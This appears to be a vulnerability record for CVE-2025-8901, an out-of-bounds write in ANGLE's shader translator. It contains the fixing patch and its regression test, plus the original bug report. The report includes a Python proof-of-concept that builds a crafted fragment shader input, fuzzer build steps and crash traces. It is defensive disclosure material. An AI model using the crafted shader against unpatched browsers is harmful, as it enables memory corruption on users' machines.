CVE-2025-8901
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
WebGLGLSLTestsrc/tests/gl_tests/GLSLTest.cpp |
modified |
Files Changed
src/compiler/translator/Compiler.cppsrc/compiler/translator/ValidateOutputs.cppsrc/tests/gl_tests/GLSLTest.cpp
Patch
From fc0e039788e8741ff8b4e8c58dbc1934c8148852 Mon Sep 17 00:00:00 2001 From: Amirali Abdolrashidi <[email protected]> Date: Thu, 31 Jul 2025 13:15:45 -0700 Subject: [PATCH] Translator: Fix location validation for inout Without this validation, a shader using an inout variable can write into a memory beyond the limit set by MaxDrawBuffers when shader framebuffer fetch is enabled. * Extended the location check in visitSymbol() to include InOut qualifiers (EvqFragmentInOut) as well (in ValidateOutputsTraverser). * Moved RewritePixelLocalStorage() after ValidateOutputs() to avoid issues related to locations not being specified in the InOut nodes from the PLS implementation. * Added a unit test to test that this case results in a compilation error: GLSLTest_ES3.CompileFSWithInoutLocBeyondMaxDrawBuffers Bug: chromium:435139154 Change-Id: I44c729377a2e1d3126c2d279172217b2ab92b57b Reviewed-on: https://chromium-review.googlesource.com/c/angle/angle/+/6806230 Reviewed-by: Shahbaz Youssefi <[email protected]> Reviewed-by: Yuxin Hu <[email protected]> Commit-Queue: Shahbaz Youssefi <[email protected]> --- diff --git a/src/compiler/translator/Compiler.cpp b/src/compiler/translator/Compiler.cpp index 3b03341..8ec3f6d 100644 --- a/src/compiler/translator/Compiler.cpp +++ b/src/compiler/translator/Compiler.cpp @@ -920,24 +920,6 @@ } } - // For now, rewrite pixel local storage before collecting variables or any operations on images. - // - // TODO(anglebug.com/40096838): - // Should this actually run after collecting variables? - // Do we need more introspection? - // Do we want to hide rewritten shader image uniforms from glGetActiveUniform? - if (hasPixelLocalStorageUniforms()) - { - ASSERT( - IsExtensionEnabled(mExtensionBehavior, TExtension::ANGLE_shader_pixel_local_storage)); - if (!RewritePixelLocalStorage(this, root, getSymbolTable(), compileOptions, - getShaderVersion())) - { - mDiagnostics.globalError("internal compiler error translating pixel local storage"); - return false; - } - } - if (shouldRunLoopAndIndexingValidation(compileOptions) && !ValidateLimitations(root, mShaderType, &mSymbolTable, &mDiagnostics)) { @@ -1079,6 +1061,24 @@ return false; } + // For now, rewrite pixel local storage before collecting variables or any operations on images. + // + // TODO(anglebug.com/40096838): + // Should this actually run after collecting variables? + // Do we need more introspection? + // Do we want to hide rewritten shader image uniforms from glGetActiveUniform? + if (hasPixelLocalStorageUniforms()) + { + ASSERT( + IsExtensionEnabled(mExtensionBehavior, TExtension::ANGLE_shader_pixel_local_storage)); + if (!RewritePixelLocalStorage(this, root, getSymbolTable(), compileOptions, + getShaderVersion())) + { + mDiagnostics.globalError("internal compiler error translating pixel local storage"); + return false; + } + } + // Clamping uniform array bounds needs to happen after validateLimitations pass. if (compileOptions.clampIndirectArrayBounds) { diff --git a/src/compiler/translator/ValidateOutputs.cpp b/src/compiler/translator/ValidateOutputs.cpp index 927783d..d3481f1 100644 --- a/src/compiler/translator/ValidateOutputs.cpp +++ b/src/compiler/translator/ValidateOutputs.cpp @@ -72,15 +72,19 @@ void ValidateOutputsTraverser::visitSymbol(TIntermSymbol *symbol) { if (symbol->variable().symbolType() == SymbolType::Empty) + { return; + } if (mVisitedSymbols.count(symbol->uniqueId().get()) == 1) + { return; + } mVisitedSymbols.insert(symbol->uniqueId().get()); TQualifier qualifier = symbol->getQualifier(); - if (qualifier == EvqFragmentOut) + if (qualifier == EvqFragmentOut || qualifier == EvqFragmentInOut) { const TLayoutQualifier &layoutQualifier = symbol->getType().getLayoutQualifier(); if (layoutQualifier.location != -1) diff --git a/src/tests/gl_tests/GLSLTest.cpp b/src/tests/gl_tests/GLSLTest.cpp index 0bf2197..1c4da1f 100644 --- a/src/tests/gl_tests/GLSLTest.cpp +++ b/src/tests/gl_tests/GLSLTest.cpp @@ -4475,6 +4475,37 @@ EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::green); } +// Test that an inout value in a location beyond the MaxDrawBuffer limit when using the shader +// framebuffer fetch extension results in a compilation error. +// (Based on a fuzzer-discovered issue) +TEST_P(GLSLTest_ES3, CompileFSWithInoutLocBeyondMaxDrawBuffers) +{ + ANGLE_SKIP_TEST_IF(!IsGLExtensionEnabled("GL_EXT_shader_framebuffer_fetch")); + + GLint maxDrawBuffers; + glGetIntegerv(GL_MAX_DRAW_BUFFERS, &maxDrawBuffers); + + const std::string fs = R"(#version 300 es +#extension GL_EXT_shader_framebuffer_fetch : require +precision highp float; +layout(location = )" + std::to_string(maxDrawBuffers) + + R"() inout vec4 inoutArray[1]; +void main() +{ + vec4 val = inoutArray[0]; + inoutArray[0] = val + vec4(0.1, 0.2, 0.3, 0.4); +})"; + + GLuint shader = glCreateShader(GL_FRAGMENT_SHADER); + const char *sourceArray[1] = {fs.c_str()}; + glShaderSource(shader, 1, sourceArray, nullptr); + glCompileShader(shader); + + GLint compileResult; + glGetShaderiv(shader, GL_COMPILE_STATUS, &compileResult); + EXPECT_EQ(compileResult, 0); +} + class WebGLGLSLTest : public GLSLTest { protected:
Regression Test / PoC
diff --git a/src/tests/gl_tests/GLSLTest.cpp b/src/tests/gl_tests/GLSLTest.cpp
index 0bf2197..1c4da1f 100644
--- a/src/tests/gl_tests/GLSLTest.cpp
+++ b/src/tests/gl_tests/GLSLTest.cpp
@@ -4475,6 +4475,37 @@
EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::green);
}
+// Test that an inout value in a location beyond the MaxDrawBuffer limit when using the shader
+// framebuffer fetch extension results in a compilation error.
+// (Based on a fuzzer-discovered issue)
+TEST_P(GLSLTest_ES3, CompileFSWithInoutLocBeyondMaxDrawBuffers)
+{
+ ANGLE_SKIP_TEST_IF(!IsGLExtensionEnabled("GL_EXT_shader_framebuffer_fetch"));
+
+ GLint maxDrawBuffers;
+ glGetIntegerv(GL_MAX_DRAW_BUFFERS, &maxDrawBuffers);
+
+ const std::string fs = R"(#version 300 es
+#extension GL_EXT_shader_framebuffer_fetch : require
+precision highp float;
+layout(location = )" + std::to_string(maxDrawBuffers) +
+ R"() inout vec4 inoutArray[1];
+void main()
+{
+ vec4 val = inoutArray[0];
+ inoutArray[0] = val + vec4(0.1, 0.2, 0.3, 0.4);
+})";
+
+ GLuint shader = glCreateShader(GL_FRAGMENT_SHADER);
+ const char *sourceArray[1] = {fs.c_str()};
+ glShaderSource(shader, 1, sourceArray, nullptr);
+ glCompileShader(shader);
+
+ GLint compileResult;
+ glGetShaderiv(shader, GL_COMPILE_STATUS, &compileResult);
+ EXPECT_EQ(compileResult, 0);
+}
+
class WebGLGLSLTest : public GLSLTest
{
protected:
Original Bug Report
ANGLE: Out-of-bounds write in EmulateFramebufferFetch
We are tracking this issue with the public ID BIGSLEEP-435156765. Please use this identifier for reference in any future communication.
Vulnerability Details
The vulnerability is an out-of-bounds write to an std::vector, which can be triggered by a specially crafted shader. The issue occurs in the setInputAttachmentIndex function within EmulateFramebufferFetch.cpp when processing framebuffer fetch extensions.
The root cause is the use of an unvalidated location layout qualifier from a fragment shader as an index into a vector. Here is a step-by-step explanation of the flaw:
- The
InputAttachmentUsageTraverserclass initializes a vector,mAttachmentTypes.color, with a size determined bymMaxDrawBuffers. In the context of the fuzzer harness,mMaxDrawBuffersis hardcoded to 1. In production, this value depends on the graphics driver’s capabilities.
class InputAttachmentUsageTraverser : public TIntermTraverser
{
...
{
mAttachmentTypes.color.resize(maxDrawBuffers, nullptr);
}
...
uint32_t mMaxDrawBuffers;
...
- When processing a shader, the
visitDeclarationfunction extracts thelocationlayout qualifier from aninoutvariable declaration. This value is taken directly from the untrusted shader source without prior validation.
bool InputAttachmentUsageTraverser::visitDeclaration(Visit visit, TIntermDeclaration *node)
{
...
const TType &type = symbol->getType();
const unsigned int baseInputAttachmentIndex =
std::max(0, type.getLayoutQualifier().location);
uint32_t arraySize = type.isArray() ? type.getOutermostArraySize() : 1;
for (unsigned int index = 0; index < arraySize; index++)
{
setInputAttachmentIndex(baseInputAttachmentIndex + index, &type);
}
...
}
- This untrusted
locationvalue is used as the base index in a subsequent call tosetInputAttachmentIndex, which then writes to themAttachmentTypes.colorvector at the provided index.
void InputAttachmentUsageTraverser::setInputAttachmentIndex(uint32_t index, const TType *type)
{
ASSERT(index < mMaxDrawBuffers);
mIndexUsage.set(index);
mAttachmentTypes.color[index] = type;
}
- Because the
locationis not validated againstmMaxDrawBuffers, a shader with a large location value (e.g.,layout(location = 38)) will cause a write beyond the bounds of themAttachmentTypes.colorvector, leading to memory corruption.
This vulnerability can only be triggered when all of the following conditions are met:
- The shader type is
GL_FRAGMENT_SHADER. - The
GL_EXT_shader_framebuffer_fetchextension is enabled via#extension GL_EXT_shader_framebuffer_fetch : require. - The fragment shader declares an
inoutvariable that is an array and has alayout(location = ...)qualifier.
Given that an attacker can control the offset of the out-of-bounds write, this vulnerability is considered High severity. This issue is mitigated by libc++ hardening within Chromium builds, but it does not appear that this protection is guaranteed across all supported ANGLE configurations.
Affected Version(s)
This issue has been reproduced in Chromium:
- at HEAD
- Chromium commit: 0333b43929bc32d574137e9c9e2f8803368664c9
- ANGLE commit: 51baa83f2cbbd1bff5754c7a3f6940d75e73b539)
- in Chromium version 138.0.7204.169
- Chromium commit: f67687ed433da666b8d134ca10de067bcc94c6fe:
- ANGLE commit: f67687ed433da666b8d134ca10de067bcc94c6fe)
Reproduction Case
Build Instructions
cd ~/chromium/src
gn gen out/angle
cat << EOF > out/angle/args.gn
is_debug = true
use_libfuzzer = true
EOF
autoninja -C out/angle angle_translator_fuzzer
Command
python3 repro.py
out/angle/angle_translator_fuzzer repro.bin
Test Case
The following Python script generates an input file that triggers the out of bounds write in InputAttachmentUsageTraverser::setInputAttachmentIndex.
import struct
GL_FRAGMENT_SHADER = 0x8B30
SH_WEBGL2_SPEC = 3
SH_SPIRV_VULKAN_OUTPUT = 15
header_type = struct.pack('<I', GL_FRAGMENT_SHADER)
header_spec = struct.pack('<I', SH_WEBGL2_SPEC)
header_output = struct.pack('<I', SH_SPIRV_VULKAN_OUTPUT)
# Set options - keep basic[0]=1 for objectCode
basic_options = bytearray(32)
basic_options[0] |= (1 << 0)
metal_options = b'\0' * 32
pls_options = b'\0' * 32
padding = b'\0' * 20
header = header_type + header_spec + header_output + bytes(basic_options) + metal_options + pls_options + padding
assert len(header) == 128
shader_code = """\
#version 300 es
#extension GL_EXT_shader_framebuffer_fetch : require
precision highp float;
layout(location = 38) inout vec4 myInoutArray[1];
void main() {
vec4 val1 = myInoutArray[0];
}\0""".encode()
program_input = header + shader_code
with open('repro.bin', 'wb') as f:
f.write(program_input)
ASan Report
In release mode (without debug asserts):
INFO: Running with entropic power schedule (0xFF, 100).
INFO: Seed: 3233764993
INFO: Loaded 1 modules (65988 inline 8-bit counters): 65988 [0x5621269c75a0, 0x5621269d7764),
INFO: Loaded 1 PC tables (65988 PCs): 65988 [0x5621269d7768,0x562126ad93a8),
normal/angle_translator_fuzzer: Running 1 inputs 1 time(s) each.
Running: crashes/new_crash.bin
../../third_party/libc++/src/include/__vector/vector.h:401: assertion __n < size() failed: vector[] index out of bounds
==3567765== ERROR: libFuzzer: deadly signal
#0 0x5621261fed91 in __sanitizer_print_stack_trace /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_stack.cpp:87:3
#1 0x5621262aca3b in fuzzer::PrintStackTrace() third_party/libFuzzer/src/FuzzerUtil.cpp:210:5
#2 0x56212626e04e in fuzzer::Fuzzer::CrashCallback() third_party/libFuzzer/src/FuzzerLoop.cpp:231:3
#3 0x7f0d621f0def (/lib/x86_64-linux-gnu/libc.so.6+0x3fdef) (BuildId: 11589948642c5b33fb0b2bcb08053e827d2348f3)
#4 0x5621266fadf3 in std::__Cr::vector<sh::TType const*, pool_allocator<sh::TType const*>>::operator[](unsigned long) third_party/libc++/src/include/__vector/vector.h:401:5
#5 0x5621266fadf3 in sh::(anonymous namespace)::InputAttachmentUsageTraverser::setInputAttachmentIndex(unsigned int, sh::TType const*) third_party/angle/src/compiler/translator/tree_ops/spirv/EmulateFramebufferFetch.cpp:79:5
#6 0x5621266fadf3 in sh::(anonymous namespace)::InputAttachmentUsageTraverser::visitDeclaration(sh::Visit, sh::TIntermDeclaration*) third_party/angle/src/compiler/translator/tree_ops/spirv/EmulateFramebufferFetch.cpp:107:13
#7 0x56212656ebed in void sh::TIntermTraverser::traverse<sh::TIntermNode>(sh::TIntermNode*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:33:23
#8 0x562126573b71 in sh::TIntermTraverser::traverseBlock(sh::TIntermBlock*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:477:24
#9 0x5621266f6300 in sh::EmulateFramebufferFetch(sh::TCompiler*, sh::TIntermBlock*, sh::InputAttachmentMap*) third_party/angle/src/compiler/translator/tree_ops/spirv/EmulateFramebufferFetch.cpp:634:11
#10 0x56212664c7c0 in sh::TranslatorSPIRV::translateImpl(sh::TIntermBlock*, ShCompileOptions const&, sh::PerformanceDiagnostics*, sh::SpecConst*, sh::DriverUniform*) third_party/angle/src/compiler/translator/spirv/TranslatorSPIRV.cpp:1098:22
#11 0x5621266530d4 in sh::TranslatorSPIRV::translate(sh::TIntermBlock*, ShCompileOptions const&, sh::PerformanceDiagnostics*) third_party/angle/src/compiler/translator/spirv/TranslatorSPIRV.cpp:1277:10
#12 0x5621263b5208 in sh::TCompiler::compile(char const* const*, unsigned long, ShCompileOptions const&) third_party/angle/src/compiler/translator/Compiler.cpp:1404:18
#13 0x56212622f576 in LLVMFuzzerTestOneInput third_party/angle/src/compiler/fuzz/translator_fuzzer.cpp:278:17
#14 0x5621262712ac in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) third_party/libFuzzer/src/FuzzerLoop.cpp:619:13
#15 0x562126242899 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) third_party/libFuzzer/src/FuzzerDriver.cpp:328:6
#16 0x56212624b0e0 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) third_party/libFuzzer/src/FuzzerDriver.cpp:863:9
#17 0x562126231775 in main third_party/libFuzzer/src/FuzzerMain.cpp:20:10
#18 0x7f0d621daca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
NOTE: libFuzzer has rudimentary signal handlers.
Combine libFuzzer with AddressSanitizer or similar for better crash reports.
SUMMARY: libFuzzer: deadly signal
In debug mode (with debug asserts):
INFO: Running with entropic power schedule (0xFF, 100).
INFO: Seed: 3233529304
INFO: Loaded 1 modules (146905 inline 8-bit counters): 146905 [0x55bcd4daaac0, 0x55bcd4dce899),
INFO: Loaded 1 PC tables (146905 PCs): 146905 [0x55bcd4dce8a0,0x55bcd500c630),
debug/angle_translator_fuzzer: Running 1 inputs 1 time(s) each.
Running: crashes/new_crash.bin
FATAL: EmulateFramebufferFetch.cpp:77 (setInputAttachmentIndex): ! Assert failed in setInputAttachmentIndex (../../third_party/angle/src/compiler/translator/tree_ops/spirv/EmulateFramebufferFetch.cpp:77): index < mMaxDrawBuffers
==3567762== ERROR: libFuzzer: deadly signal
#0 0x55bcd3706651 in __sanitizer_print_stack_trace /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_stack.cpp:87:3
#1 0x55bcd383eede in fuzzer::PrintStackTrace() third_party/libFuzzer/src/FuzzerUtil.cpp:210:5
#2 0x55bcd37cfba9 in fuzzer::Fuzzer::CrashCallback() third_party/libFuzzer/src/FuzzerLoop.cpp:231:3
#3 0x55bcd37cfabf in fuzzer::Fuzzer::StaticCrashSignalCallback() third_party/libFuzzer/src/FuzzerLoop.cpp:202:6
#4 0x55bcd3840fd7 in fuzzer::CrashHandler(int, siginfo_t*, void*) third_party/libFuzzer/src/FuzzerUtilPosix.cpp:46:3
#5 0x7fe6292b1def (/lib/x86_64-linux-gnu/libc.so.6+0x3fdef) (BuildId: 11589948642c5b33fb0b2bcb08053e827d2348f3)
#6 0x55bcd43b0d32 in sh::(anonymous namespace)::InputAttachmentUsageTraverser::setInputAttachmentIndex(unsigned int, sh::TType const*) third_party/angle/src/compiler/translator/tree_ops/spirv/EmulateFramebufferFetch.cpp:77:5
#7 0x55bcd43ad634 in sh::(anonymous namespace)::InputAttachmentUsageTraverser::visitDeclaration(sh::Visit, sh::TIntermDeclaration*) third_party/angle/src/compiler/translator/tree_ops/spirv/EmulateFramebufferFetch.cpp:107:13
#8 0x55bcd4036ba0 in sh::TIntermDeclaration::visit(sh::Visit, sh::TIntermTraverser*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:170:16
#9 0x55bcd40350ef in void sh::TIntermTraverser::traverse<sh::TIntermNode>(sh::TIntermNode*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:33:23
#10 0x55bcd4035760 in sh::TIntermNode::traverse(sh::TIntermTraverser*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:64:9
#11 0x55bcd403d763 in sh::TIntermTraverser::traverseBlock(sh::TIntermBlock*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:477:24
#12 0x55bcd403609e in sh::TIntermBlock::traverse(sh::TIntermTraverser*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:102:9
#13 0x55bcd43a7d52 in sh::EmulateFramebufferFetch(sh::TCompiler*, sh::TIntermBlock*, sh::InputAttachmentMap*) third_party/angle/src/compiler/translator/tree_ops/spirv/EmulateFramebufferFetch.cpp:634:11
#14 0x55bcd41f1774 in sh::TranslatorSPIRV::translateImpl(sh::TIntermBlock*, ShCompileOptions const&, sh::PerformanceDiagnostics*, sh::SpecConst*, sh::DriverUniform*) third_party/angle/src/compiler/translator/spirv/TranslatorSPIRV.cpp:1098:22
#15 0x55bcd41f9e84 in sh::TranslatorSPIRV::translate(sh::TIntermBlock*, ShCompileOptions const&, sh::PerformanceDiagnostics*) third_party/angle/src/compiler/translator/spirv/TranslatorSPIRV.cpp:1277:10
#16 0x55bcd3c1ee2a in sh::TCompiler::compile(char const* const*, unsigned long, ShCompileOptions const&) third_party/angle/src/compiler/translator/Compiler.cpp:1404:18
#17 0x55bcd3740ac4 in LLVMFuzzerTestOneInput third_party/angle/src/compiler/fuzz/translator_fuzzer.cpp:278:17
#18 0x55bcd37d27da in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) third_party/libFuzzer/src/FuzzerLoop.cpp:619:13
#19 0x55bcd3780c9b in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) third_party/libFuzzer/src/FuzzerDriver.cpp:328:6
#20 0x55bcd378625a in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) third_party/libFuzzer/src/FuzzerDriver.cpp:863:9
#21 0x55bcd37549e3 in main third_party/libFuzzer/src/FuzzerMain.cpp:20:10
#22 0x7fe62929bca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
NOTE: libFuzzer has rudimentary signal handlers.
Combine libFuzzer with AddressSanitizer or similar for better crash reports.
SUMMARY: libFuzzer: deadly signal
Reporter Credit
Google Big Sleep
Disclosure Policy
This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2025-10-28.
For more information, visit https://goo.gle/bigsleep